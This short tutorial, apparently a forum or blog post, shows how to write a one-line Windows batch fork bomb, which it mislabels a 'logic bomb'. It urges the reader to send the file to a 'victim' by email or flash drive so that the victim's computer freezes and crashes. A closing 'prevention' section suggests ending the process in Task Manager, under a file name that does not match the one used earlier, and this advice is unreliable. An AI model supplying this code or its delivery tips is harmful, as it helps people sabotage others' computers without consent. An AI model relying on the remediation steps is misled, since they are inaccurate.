

HOW TO CREATE LOGIC BOMB

VIRUS Its Just too easy to create, just follow the below steps.

1. Open Notepad on your PC and write this Code into it.

```
"%0|%0"
```

or copy it from here to your Notepad

2. Then save it with a .bat extension! When saving delete the .txt and input the File name and the .bat extension e.g

logic.bat

3. Once anyone will do double click on this bat file, his system will Jam and Crash.

NOTE:

Now you can send it to your Victim through Mail or from your Flash Drive to his PC and then once he open the File, the action will start.

SOLUTION OR PREVENTION MEASURE TO TAKE

Due to members comments asking for Solution and the Way to Prevent this Attack, We have listed this 2 Reliable Ways to conquer it. not open any File with .bat on your PC.

If you are already a victim of thisVirus, Once you ON your PC, quickly Press CTL + ALT + Delete

key on your keyboard then Start the Task Manager, Now click on the Processes Tab and locate "Fork.bat" or anyname you Use, then put you mouse on it and click on the End Process Button, thats all.
